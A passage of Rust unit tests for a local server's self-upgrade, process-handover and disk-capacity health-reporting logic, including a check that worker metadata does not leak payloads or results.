23751        ui.upgrade_runner = fail_test_upgrade;
23752        let ui = Arc::new(ui);
23753        let latest = || {
23754            Some(kaishin::LatestRelease {
23755                tag_name: "v999.0.0".into(),
23756                html_url: String::new(),
23757            })
23758        };
23759        ui.talk_turns.lock().unwrap().live.insert("busy".into());
23760        assert_eq!(
23761            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
23762                .await
23763                .status(),
23764            StatusCode::NO_CONTENT
23765        );
23766        assert!(updater::read_progress(home.path()).is_none());
23767        ui.talk_turns.lock().unwrap().live.clear();
23768        let gate = ui.upgrade_gate.lock().await;
23769        assert_eq!(
23770            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
23771                .await
23772                .status(),
23773            StatusCode::CONFLICT
23774        );
23775        drop(gate);
23776        assert_eq!(
23777            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
23778                .await
23779                .status(),
23780            StatusCode::ACCEPTED
23781        );
23782        let progress = updater::read_progress(home.path()).unwrap();
23783        assert_eq!(progress.trigger, updater::UpgradeTrigger::Auto);
23784        assert_eq!(progress.stage, updater::Stage::Downloading);
23785        assert!(progress.parked_run.is_none());
23786        assert!(ui.start_detached_loop().await.is_err());
23787        assert!(ui.start_loop(None).is_err());
23788        assert!(ui.begin_resume("late").is_err());
23789        tokio::time::timeout(Duration::from_secs(2), async {
23790            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
23791                tokio::task::yield_now().await;
23792            }
23793        })
23794        .await
23795        .unwrap();
23796        let progress = updater::read_progress(home.path()).unwrap();
23797        assert_eq!(progress.stage, updater::Stage::Failed);
23798        assert_eq!(
23799            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
23800                .await
23801                .status(),
23802            StatusCode::NO_CONTENT
23803        );
23804        // The manual shared path records the same progress and runs the same seam.
23805        let result = upgrade_checked(&ui, "old".into(), Ok(latest()));
23806        assert_eq!(
23807            finish_upgrade_request(&ui, result).status(),
23808            StatusCode::ACCEPTED
23809        );
23810        assert_eq!(
23811            updater::read_progress(home.path()).unwrap().trigger,
23812            updater::UpgradeTrigger::Manual
23813        );
23814        tokio::time::timeout(Duration::from_secs(2), async {
23815            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
23816                tokio::task::yield_now().await;
23817            }
23818        })
23819        .await
23820        .unwrap();
23821    }
23822
23823    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
23824        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
23825        p.stage = stage;
23826        p
23827    }
23828
23829    #[test]
23830    fn busy_stages_match_the_ui_set() {
23831        use crate::updater::Stage;
23832        assert!(APP_JS.contains(
23833            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
23834        ));
23835        for s in [
23836            Stage::Downloading,
23837            Stage::Replaced,
23838            Stage::Parking,
23839            Stage::Restarting,
23840        ] {
23841            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
23842        }
23843        for s in [Stage::Done, Stage::Failed] {
23844            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
23845        }
23846        assert!(upgrade_in_motion(None).is_none());
23847    }
23848
23849    #[tokio::test]
23850    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
23851        use crate::updater::Stage;
23852        for stage in [
23853            Stage::Downloading,
23854            Stage::Replaced,
23855            Stage::Parking,
23856            Stage::Restarting,
23857        ] {
23858            let fx = Fixture::start().await;
23859            let seeded = seeded_progress(stage);
23860            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
23861            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
23862                .expect("read");
23863
23864            let res = fx.post("/api/upgrade", None).await;
23865            assert_eq!(res.status, 409, "{stage:?}");
23866            let err = res.json()["error"].as_str().unwrap().to_owned();
23867            assert!(err.contains("already in progress"), "{err}");
23868            assert!(err.contains(stage.as_str()), "{err}");
23869
23870            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
23871                .expect("read");
23872            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
23873            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
23874                .unwrap_or_default();
23875            assert!(!log.contains("signalling HANDOVER"), "{log}");
23876        }
23877    }
23878
23879    #[test]
23880    fn upgrade_retry_timing_only_parses_known_diagnostics() {
23881        assert_eq!(
23882            upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
23883            Some(3723)
23884        );
23885        assert_eq!(
23886            upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
23887            Some(60)
23888        );
23889        assert_eq!(
23890            upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
23891            Some(0)
23892        );
23893        for message in [
23894            "permission denied",
23895            "GitHub API rate limit exceeded",
23896            "GitHub rate limit (resets in unknown)",
23897            "GitHub rate limit (resets in 18446744073709551615d)",
23898        ] {
23899            assert_eq!(upgrade_retry_after(message), None, "{message}");
23900        }
23901    }
23902
23903    #[tokio::test]
23904    async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
23905        let home = TempDir::new().unwrap();
23906        let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
23907        ui.start_loop(None).unwrap();
23908        updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
23909        let before = std::fs::read(updater::progress_path(home.path())).unwrap();
23910        let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
23911        let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
23912        let response = finish_upgrade_request(&ui, result);
23913        assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
23914        assert_eq!(response.headers()["retry-after"], "120");
23915        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
23916            .await
23917            .unwrap();
23918        let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
23919        assert!(body["error"].as_str().unwrap().contains(reason));
23920        assert_eq!(body["retry_after_secs"], 120);
23921        assert!(body["retry_at"].as_u64().is_some());
23922        for _ in 0..2 {
23923            let view = health(State(ui.clone())).await.unwrap().0;
23924            let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
23925            assert_eq!(failure, body);
23926        }
23927        assert_eq!(
23928            std::fs::read(updater::progress_path(home.path())).unwrap(),
23929            before
23930        );
23931        assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
23932        assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
23933        // A conflicting request must not erase the actionable earlier failure.
23934        let gate = ui.upgrade_gate.lock().await;
23935        assert_eq!(
23936            upgrade_post(State(ui.clone())).await.status(),
23937            StatusCode::CONFLICT
23938        );
23939        drop(gate);
23940        assert!(
23941            health(State(ui.clone()))
23942                .await
23943                .unwrap()
23944                .0
23945                .upgrade_request_error
23946                .is_some()
23947        );
23948        let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
23949        assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
23950        assert!(
23951            health(State(ui.clone()))
23952                .await
23953                .unwrap()
23954                .0
23955                .upgrade_request_error
23956                .is_none()
23957        );
23958        let live = ui.lock_loop().live.take().unwrap();
23959        live.stop.stop();
23960        live.handle.await.unwrap();
23961    }
23962
23963    #[tokio::test]
23964    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
23965        use crate::updater::Stage;
23966        let repo = TempDir::new().expect("repo dir");
23967        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
23968            .expect("write magi.toml");
23969        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
23970        for stage in [Stage::Done, Stage::Failed] {
23971            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
23972            let res = fx.post("/api/upgrade", None).await;
23973            assert_eq!(res.status, 200, "{stage:?}");
23974        }
23975        // No record at all, and the gate was released by the earlier calls.
23976        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
23977        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
23978    }
23979
23980    #[tokio::test]
23981    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
23982        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
23983        // and the route answers from its own logic.
23984        //
23985        // This test used to lean on the fixture's placeholder repo failing
23986        // config discovery, which left `mode = "notify"` - and a live,
23987        // unauthenticated call to the GitHub releases API inside a unit test.
23988        // GitHub allows 60 of those an hour per address, so the suite went red
23989        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
23990        // long as somebody kept re-running it: every attempt spent another
23991        // request. Six reruns across four pull requests were charged to that
23992        // before it was read as a rate limit rather than a flake.
23993        //
23994        // What the assertion is about is the "already current" branch, which
23995        // is reached by there being no newer release *or* nowhere to look. The
23996        // second one needs no network and cannot be rate limited.
23997        let repo = TempDir::new().expect("repo dir");
23998        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
23999            .expect("write magi.toml");
24000        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
24001
24002        // It must answer 200 and leave the process alone: restarting for an
24003        // upgrade that did not happen parks the run in flight and drops every
24004        // connection to pay for nothing. A probe against a deck already on the
24005        // newest build did exactly that, which is how this case got its own
24006        // branch.
24007        let res = fx.post("/api/upgrade", None).await;
24008        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
24009        let body = res.json();
24010        assert!(body["to"].is_null(), "there was no release to move to");
24011        assert!(body["parked"].is_null(), "and nothing was parked");
24012        assert!(
24013            body["detail"]
24014                .as_str()
24015                .unwrap()
24016                .contains("nothing restarted"),
24017            "{body:?}"
24018        );
24019    }
24020
24021    async fn wait_for_disk_scan(state: &Arc<Mutex<DiskObservation>>) {
24022        tokio::time::timeout(Duration::from_secs(5), async {
24023            while state.lock().unwrap().in_flight {
24024                tokio::task::yield_now().await;
24025            }
24026        })
24027        .await
24028        .expect("capacity scan finished");
24029    }
24030
24031    fn disk_test_scope(home: &FsPath) -> DiskScope {
24032        DiskScope {
24033            runs: home.join("runs"),
24034            worktrees: home.join("worktrees"),
24035            cache: Some(home.join("cache")),
24036        }
24037    }
24038
24039    fn known_disk_capacity() -> DiskCapacity {
24040        DiskCapacity {
24041            free_bytes: Some(100),
24042            runs_bytes: Some(200),
24043            worktrees_bytes: Some(300),
24044            cache_bytes: Some(400),
24045        }
24046    }
24047
24048    #[tokio::test]
24049    async fn health_disk_cold_and_concurrent_requests_do_not_wait_for_capacity() {
24050        let home = TempDir::new().unwrap();
24051        std::fs::write(home.path().join("magi.toml"), "[update]\nmode = \"off\"\n").unwrap();
24052        let mut ui = delta_test_ui(home.path());
24053        let state = Arc::get_mut(&mut ui).unwrap();
24054        state.repo = home.path().to_owned();
24055        state.worktrees_root = home.path().join("worktrees");
24056        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
24057        ui.monitor
24058            .worker_started
24059            .store(true, std::sync::atomic::Ordering::SeqCst);
24060        let cfg = deputy_config(&ui.repo);
24061        let scope = DiskScope::of(&ui, cfg.as_ref());
24062        let (started, reached) = tokio::sync::oneshot::channel();
24063        let (release, blocked) = std::sync::mpsc::channel();
24064        let cold = DiskObservation::observe(&ui.monitor.disk, scope, move |_| {
24065            started.send(()).unwrap();
24066            // A failed request assertion must also let the blocking worker exit.
24067            let _ = blocked.recv();
24068            known_disk_capacity()
24069        });
24070        assert!(cold.runs_bytes.is_none());
24071        tokio::time::timeout(Duration::from_secs(5), reached)
24072            .await
24073            .unwrap()
24074            .unwrap();
24075
24076        let requests: Vec<_> = (0..4)
24077            .map(|_| {
24078                let ui = ui.clone();
24079                tokio::spawn(async move { health(State(ui)).await.unwrap().0 })
24080            })
24081            .collect();
24082        // This is a causal independence check, not a five-second latency
24083        // benchmark. Leave room for unrelated filesystem/thread contention
24084        // when the entire unit suite runs concurrently.
24085        let completed = tokio::time::timeout(Duration::from_secs(60), async {
24086            for request in requests {
24087                let view = request.await.unwrap();
24088                let disk = serde_json::to_value(view.disk).unwrap();
24089                assert!(disk["runs_bytes"].is_null());
24090                assert!(disk["worktrees_bytes"].is_null());
24091                // Free space is a cheap live observation even while the
24092                // recursive capacity measurement remains blocked.
24093                assert!(disk["free_bytes"].is_u64());
24094            }
24095        })
24096        .await;
24097        if completed.is_err() {
24098            release.send(()).unwrap();
24099            wait_for_disk_scan(&ui.monitor.disk).await;
24100            panic!("health must return while the measurement is causally blocked");
24101        }
24102        assert!(ui.monitor.disk.lock().unwrap().in_flight);
24103        // No competing worker can have published while the first holds flight.
24104        assert!(
24105            ui.monitor
24106                .disk
24107                .lock()
24108                .unwrap()
24109                .capacity
24110                .runs_bytes
24111                .is_none()
24112        );
24113        release.send(()).unwrap();
24114        wait_for_disk_scan(&ui.monitor.disk).await;
24115        assert_eq!(
24116            ui.monitor.disk.lock().unwrap().capacity.runs_bytes,
24117            Some(200)
24118        );
24119    }
24120
24121    #[tokio::test]
24122    async fn health_disk_refresh_retains_successes_and_cadence_starts_at_completion() {
24123        let home = TempDir::new().unwrap();
24124        let scope = disk_test_scope(home.path());
24125        let state = Arc::new(Mutex::new(DiskObservation {
24126            scope: Some(scope.clone()),
24127            capacity: known_disk_capacity(),
24128            finished: Some(std::time::Instant::now() - DISK_REFRESH * 2),
24129            ..Default::default()
24130        }));
24131        let (started, reached) = tokio::sync::oneshot::channel();
24132        let (release, blocked) = std::sync::mpsc::channel();
24133        let before = DiskObservation::observe(&state, scope.clone(), move |_| {
24134            started.send(()).unwrap();
24135            blocked.recv().unwrap();
24136            DiskCapacity {
24137                runs_bytes: Some(250),
24138                ..Default::default()
24139            }
24140        });
24141        assert_eq!(before.cache_bytes, Some(400));
24142        tokio::time::timeout(Duration::from_secs(5), reached)
24143            .await
24144            .unwrap()
24145            .unwrap();
24146        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
24147        for _ in 0..4 {
24148            let scans = duplicate_scans.clone();
24149            let during = DiskObservation::observe(&state, scope.clone(), move |_| {
24150                scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
24151                DiskCapacity::default()
24152            });
24153            assert_eq!(during.runs_bytes, Some(200));
24154            assert_eq!(during.cache_bytes, Some(400));
24155        }
24156        release.send(()).unwrap();
24157        wait_for_disk_scan(&state).await;
24158        let scans = duplicate_scans.clone();
24159        let after = DiskObservation::observe(&state, scope, move |_| {
24160            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
24161            DiskCapacity::default()
24162        });
24163        wait_for_disk_scan(&state).await;
24164        assert_eq!(after.runs_bytes, Some(250));
24165        assert_eq!(after.free_bytes, Some(100));
24166        assert_eq!(after.cache_bytes, Some(400));
24167        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
24168        assert!(state.lock().unwrap().finished.unwrap().elapsed() < DISK_REFRESH);
24169    }
24170
24171    #[tokio::test]
24172    async fn health_disk_changed_scope_never_publishes_the_previous_cache() {
24173        let home = TempDir::new().unwrap();
24174        let old_scope = disk_test_scope(home.path());
24175        let mut new_scope = old_scope.clone();
24176        new_scope.cache = Some(home.path().join("replacement-cache"));
24177        let state = Arc::new(Mutex::new(DiskObservation {
24178            scope: Some(old_scope.clone()),
24179            capacity: known_disk_capacity(),
24180            ..Default::default()
24181        }));
24182        let (started, reached) = tokio::sync::oneshot::channel();
24183        let (release, blocked) = std::sync::mpsc::channel();
24184        DiskObservation::observe(&state, old_scope, move |_| {
24185            started.send(()).unwrap();
24186            blocked.recv().unwrap();
24187            known_disk_capacity()
24188        });
24189        tokio::time::timeout(Duration::from_secs(5), reached)
24190            .await
24191            .unwrap()
24192            .unwrap();
24193        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
24194        let scans = duplicate_scans.clone();
24195        let changed = DiskObservation::observe(&state, new_scope.clone(), move |_| {
24196            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
24197            DiskCapacity::default()
24198        });
24199        assert!(changed.cache_bytes.is_none());
24200        assert!(changed.runs_bytes.is_none());
24201        release.send(()).unwrap();
24202        wait_for_disk_scan(&state).await;
24203        {
24204            let observation = state.lock().unwrap();
24205            assert!(observation.capacity.cache_bytes.is_none());
24206            assert!(observation.finished.is_none());
24207        }
24208        DiskObservation::observe(&state, new_scope.clone(), move |scope| {
24209            assert_eq!(scope, &new_scope);
24210            DiskCapacity {
24211                cache_bytes: Some(999),
24212                ..Default::default()
24213            }
24214        });
24215        wait_for_disk_scan(&state).await;
24216        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(999));
24217        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
24218    }
24219
24220    #[tokio::test]
24221    async fn health_disk_panicked_worker_releases_flight_and_retries_after_cadence() {
24222        let home = TempDir::new().unwrap();
24223        let scope = disk_test_scope(home.path());
24224        let state = Arc::new(Mutex::new(DiskObservation {
24225            scope: Some(scope.clone()),
24226            capacity: known_disk_capacity(),
24227            ..Default::default()
24228        }));
24229        DiskObservation::observe(&state, scope.clone(), |_| panic!("capacity worker failure"));
24230        wait_for_disk_scan(&state).await;
24231        {
24232            let mut observation = state.lock().unwrap();
24233            assert_eq!(observation.capacity.cache_bytes, Some(400));
24234            assert!(observation.finished.unwrap().elapsed() < DISK_REFRESH);
24235            observation.finished = Some(std::time::Instant::now() - DISK_REFRESH);
24236        }
24237        DiskObservation::observe(&state, scope, |_| DiskCapacity {
24238            cache_bytes: Some(450),
24239            ..Default::default()
24240        });
24241        wait_for_disk_scan(&state).await;
24242        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(450));
24243    }
24244
24245    #[test]
24246    fn health_disk_capacity_counts_empty_and_missing_without_following_links() {
24247        let home = TempDir::new().unwrap();
24248        assert_eq!(disk_capacity_size(&home.path().join("missing")), Some(0));
24249        assert_eq!(disk_capacity_size(home.path()), Some(0));
24250        std::fs::create_dir(home.path().join("nested")).unwrap();
24251        std::fs::write(home.path().join("nested/data"), b"12345").unwrap();
24252        assert_eq!(disk_capacity_size(home.path()), Some(5));
24253        #[cfg(unix)]
24254        {
24255            // Unix distinguishes an invalid descendant lookup from absence.
24256            assert_eq!(
24257                disk_capacity_size(&home.path().join("nested/data/child")),
24258                None
24259            );
24260        }
24261        #[cfg(unix)]
24262        {
24263            std::os::unix::fs::symlink(home.path(), home.path().join("nested/link")).unwrap();
24264            assert_eq!(disk_capacity_size(home.path()), Some(5));
24265        }
24266    }
24267
24268    #[tokio::test]
24269    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
24270        // `mode = "off"` for the same reason as the test above: a default
24271        // fixture repo falls back to `mode = "notify"`, which would make this
24272        // route's new `update` field a live, unauthenticated GitHub call on
24273        // every assertion in this suite that happens to hit `/api/health`.
24274        let repo = TempDir::new().expect("repo dir");
24275        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
24276            .expect("write magi.toml");
24277        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
24278
24279        let health = fx.get("/api/health").await.json();
24280        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
24281        assert_eq!(
24282            health["update"]["available"], false,
24283            "checking is off, which reads as \"unknown\", not \"none\""
24284        );
24285        assert!(health["update"]["to"].is_null());
24286        assert!(
24287            health["upgrade"].is_null(),
24288            "nothing has ever asked this deck to upgrade"
24289        );
24290    }
24291
24292    #[tokio::test]
24293    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
24294        let fx = Fixture::start().await;
24295        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
24296
24297        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24298        progress.parked_run = Some("20260905-000000-cd51".to_owned());
24299        progress.advance(crate::updater::Stage::Parking);
24300        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
24301
24302        let health = fx.get("/api/health").await.json();
24303        assert_eq!(health["upgrade"]["stage"], "parking");
24304        assert_eq!(health["upgrade"]["from"], "0.5.1");
24305        assert_eq!(health["upgrade"]["to"], "0.5.2");
24306        let waiting_on = health["upgrade"]["waiting_on"]
24307            .as_str()
24308            .expect("waiting_on is set while parking a known run");
24309        assert!(waiting_on.contains("cd51"), "{waiting_on}");
24310        assert!(waiting_on.contains("implementing"), "{waiting_on}");
24311    }
24312
24313    #[tokio::test]
24314    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
24315        let fx = Fixture::start().await;
24316        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24317        progress.advance(crate::updater::Stage::Done);
24318        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
24319
24320        let health = fx.get("/api/health").await.json();
24321        assert_eq!(health["upgrade"]["stage"], "done");
24322        assert!(
24323            health["upgrade"]["waiting_on"].is_null(),
24324            "nothing to wait on once it is done"
24325        );
24326    }
24327
24328    /// The handover signal is seen however the race falls, and wakes its one
24329    /// waiter once per signal - nothing here can spin.
24330    #[tokio::test]
24331    async fn the_handover_signal_wakes_one_waiter_once() {
24332        let signal = Notify::new();
24333        // Signalled before anyone waits: the stored permit is not lost.
24334        signal.notify_one();
24335        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
24336            .await
24337            .expect("an early signal is still seen");
24338        // One signal, one wake-up: a second wait does not resolve by itself.
24339        assert!(
24340            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
24341                .await
24342                .is_err(),
24343            "a consumed signal must not wake a second time"
24344        );
24345        // Signalled while waiting.
24346        let signal = std::sync::Arc::new(signal);
24347        let waiter = tokio::spawn({
24348            let signal = std::sync::Arc::clone(&signal);
24349            async move { wait_for_handover(&signal).await }
24350        });
24351        tokio::time::sleep(Duration::from_millis(20)).await;
24352        assert!(!waiter.is_finished(), "nothing was signalled yet");
24353        signal.notify_one();
24354        tokio::time::timeout(Duration::from_secs(5), waiter)
24355            .await
24356            .expect("a late signal wakes the waiter")
24357            .expect("join");
24358    }
24359
24360    #[tokio::test]
24361    async fn health_says_how_long_a_handover_has_been_stuck() {
24362        let fx = Fixture::start().await;
24363        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24364        progress.advance(crate::updater::Stage::Replaced);
24365        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
24366        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
24367
24368        let health = fx.get("/api/health").await.json();
24369        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
24370        assert!(stuck >= 600, "{stuck}");
24371        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
24372        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
24373    }
24374
24375    #[tokio::test]
24376    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
24377        let home = tempfile::tempdir().expect("temp home");
24378        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24379        progress.advance(crate::updater::Stage::Parking);
24380        crate::updater::write_progress(home.path(), &progress).expect("seed");
24381        // What the second upgrade_and_restart and its handler do.
24382        let mut again = progress.clone();
24383        again.advance(crate::updater::Stage::Replaced);
24384        crate::updater::write_progress(home.path(), &again).expect("replaced");
24385        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24386        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
24387        let after = crate::updater::read_progress(home.path()).expect("record");
24388        assert_eq!(after.stage, crate::updater::Stage::Parking);
24389    }
24390
24391    #[tokio::test]
24392    async fn health_does_not_call_a_live_parking_wait_stuck() {
24393        let fx = Fixture::start().await;
24394        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24395        progress.parked_run = Some("20260905-000000-cd51".to_owned());
24396        progress.advance(crate::updater::Stage::Parking);
24397        let hours = Duration::from_secs(3 * 3600);
24398        progress.started_at = Timestamp::now() - hours;
24399        progress.updated_at = Timestamp::now() - hours;
24400        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
24401        let _lease = crate::updater::LeaseGuard::enter(
24402            fx.home.path(),
24403            Some("20260905-000000-cd51".to_owned()),
24404        );
24405
24406        let health = fx.get("/api/health").await.json();
24407        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
24408        assert!(health["upgrade"]["stuck_kind"].is_null());
24409        assert_eq!(health["upgrade"]["handover_alive"], true);
24410        let waiting_on = health["upgrade"]["waiting_on"]
24411            .as_str()
24412            .expect("waiting_on");
24413        assert!(waiting_on.contains("cd51"), "{waiting_on}");
24414    }
24415
24416    fn idle_ui(home: &TempDir) -> Ui {
24417        let runs = home.path().join("runs");
24418        std::fs::create_dir_all(&runs).expect("runs dir");
24419        Ui::new(
24420            Queue::at(home.path().join("queue")),
24421            Questions::at(home.path().join("questions")),
24422            Talks::at(home.path().join("talks")),
24423            runs,
24424            home.path().to_path_buf(),
24425            PathBuf::from("/repo/magi"),
24426        )
24427        .with_launch(launch_idle)
24428    }
24429
24430    #[tokio::test]
24431    async fn start_during_scheduler_stop_is_busy_and_preserves_the_stop() {
24432        let home = TempDir::new().expect("temp home");
24433        let ui = idle_ui(&home);
24434        let lease = crate::worker::try_lease(home.path(), "scheduler")
24435            .expect("scheduler lease")
24436            .expect("free");
24437        crate::worker::request(home.path(), "scheduler", crate::worker::Control::Stop)
24438            .expect("request stop");
24439        let error = ui
24440            .start_detached_loop()
24441            .await
24442            .expect_err("transition is still live");
24443        assert_eq!(error.status, StatusCode::CONFLICT);
24444        assert!(error.message.contains("still running or stopping"));
24445        assert_eq!(
24446            crate::worker::control(home.path(), "scheduler").unwrap(),
24447            Some(crate::worker::Control::Stop)
24448        );
24449        drop(lease);
24450    }
24451
24452    #[tokio::test]
24453    async fn handover_releases_listener_without_waiting_for_execution_leases() {
24454        let home = TempDir::new().expect("temp home");
24455        let ui = idle_ui(&home);
24456        let turns = ui
24457            .begin_talk_turn("active-chat")
24458            .expect("claim")
24459            .expect("free");
24460        let execution = crate::worker::try_lease(home.path(), "active-task")
24461            .expect("execution lease")
24462            .expect("free");
24463        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
24464            .await
24465            .expect("bind loopback");
24466        let address = listener.local_addr().expect("address");
24467        let admissions = Arc::clone(&ui.admissions);
24468        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
24469        let successor_started = std::sync::atomic::AtomicBool::new(false);
24470        tokio::time::timeout(
24471            Duration::from_secs(2),
24472            hand_over(home.path(), &admissions, served, || {
24473                successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
24474                Ok(1)
24475            }),
24476        )
24477        .await
24478        .expect("restart must not wait for execution")
24479        .expect("handover");
24480        assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
24481        // BSD may retain the address briefly after listener release. The real
24482        // successor uses the same bounded bind retry rather than a one-shot bind.
24483        let successor = bind_waiting(address)
24484            .await
24485            .expect("successor binds released address");
24486        assert_eq!(successor.local_addr().unwrap(), address);
24487        assert!(turns.owns(), "the chat lease survives restart");
24488        assert!(
24489            crate::worker::try_lease(home.path(), "active-task")
24490                .unwrap()
24491                .is_none()
24492        );
24493        drop(execution);
24494        drop(turns);
24495    }
24496
24497    #[tokio::test]
24498    async fn handover_drains_admission_but_never_waits_for_the_chat_turn() {
24499        let home = TempDir::new().expect("temp home");
24500        let ui = idle_ui(&home);
24501        let admission = ui.begin_admission().expect("admit send");
24502        let turn = ui
24503            .begin_talk_turn("active-chat")
24504            .expect("claim")
24505            .expect("free");
24506        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
24507            .await
24508            .expect("bind loopback");
24509        let address = listener.local_addr().expect("address");
24510        let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
24511        let successor_called = std::sync::atomic::AtomicBool::new(false);
24512        let handover = hand_over(home.path(), &ui.admissions, served, || {
24513            successor_called.store(true, std::sync::atomic::Ordering::SeqCst);
24514            Ok(1)
24515        });
24516        tokio::pin!(handover);
24517        // Poll exactly to the writer waiting on our admission guard. This
24518        // pins the race without sleeps or assumptions about task scheduling.
24519        std::future::poll_fn(|cx| {
24520            assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
24521            std::task::Poll::Ready(())
24522        })
24523        .await;
24524        assert!(!successor_called.load(std::sync::atomic::Ordering::SeqCst));
24525        assert!(
24526            ui.begin_admission().is_err(),
24527            "new ingress cannot race the drain"
24528        );
24529        assert_eq!(request(address, "GET", "/api/loop", None).await.status, 200);
24530        drop(admission);
24531        tokio::time::timeout(Duration::from_secs(2), handover)
24532            .await
24533            .expect("only publication may delay restart")
24534            .expect("handover");
24535        assert!(successor_called.load(std::sync::atomic::Ordering::SeqCst));
24536        assert!(
24537            turn.owns(),
24538            "the detached chat turn is not awaited or cancelled"
24539        );
24540        assert!(
24541            ui.begin_admission().is_err(),
24542            "old accepted connections stay closed"
24543        );
24544        drop(turn);
24545    }
24546
24547    #[test]
24548    fn health_worker_metadata_never_contains_payload_or_result() {
24549        let view = WorkerView::from(crate::worker::Job {
24550            id: "job".into(),
24551            sequence: 1,
24552            kind: "service".into(),
24553            key: "maintenance".into(),
24554            payload: serde_json::json!({"env": {"TOKEN": "private"}}),
24555            generation: "generation".into(),
24556            version: Some("1.2.3".into()),
24557            status: crate::worker::Status::Running,
24558            result: Some("private diagnostics".into()),
24559            pid: Some(4242),
24560            created_at: 1,
24561            finished_at: None,
24562        });
24563        let value = serde_json::to_value(view).expect("serialize public metadata");
24564        assert_eq!(value["version"], "1.2.3");
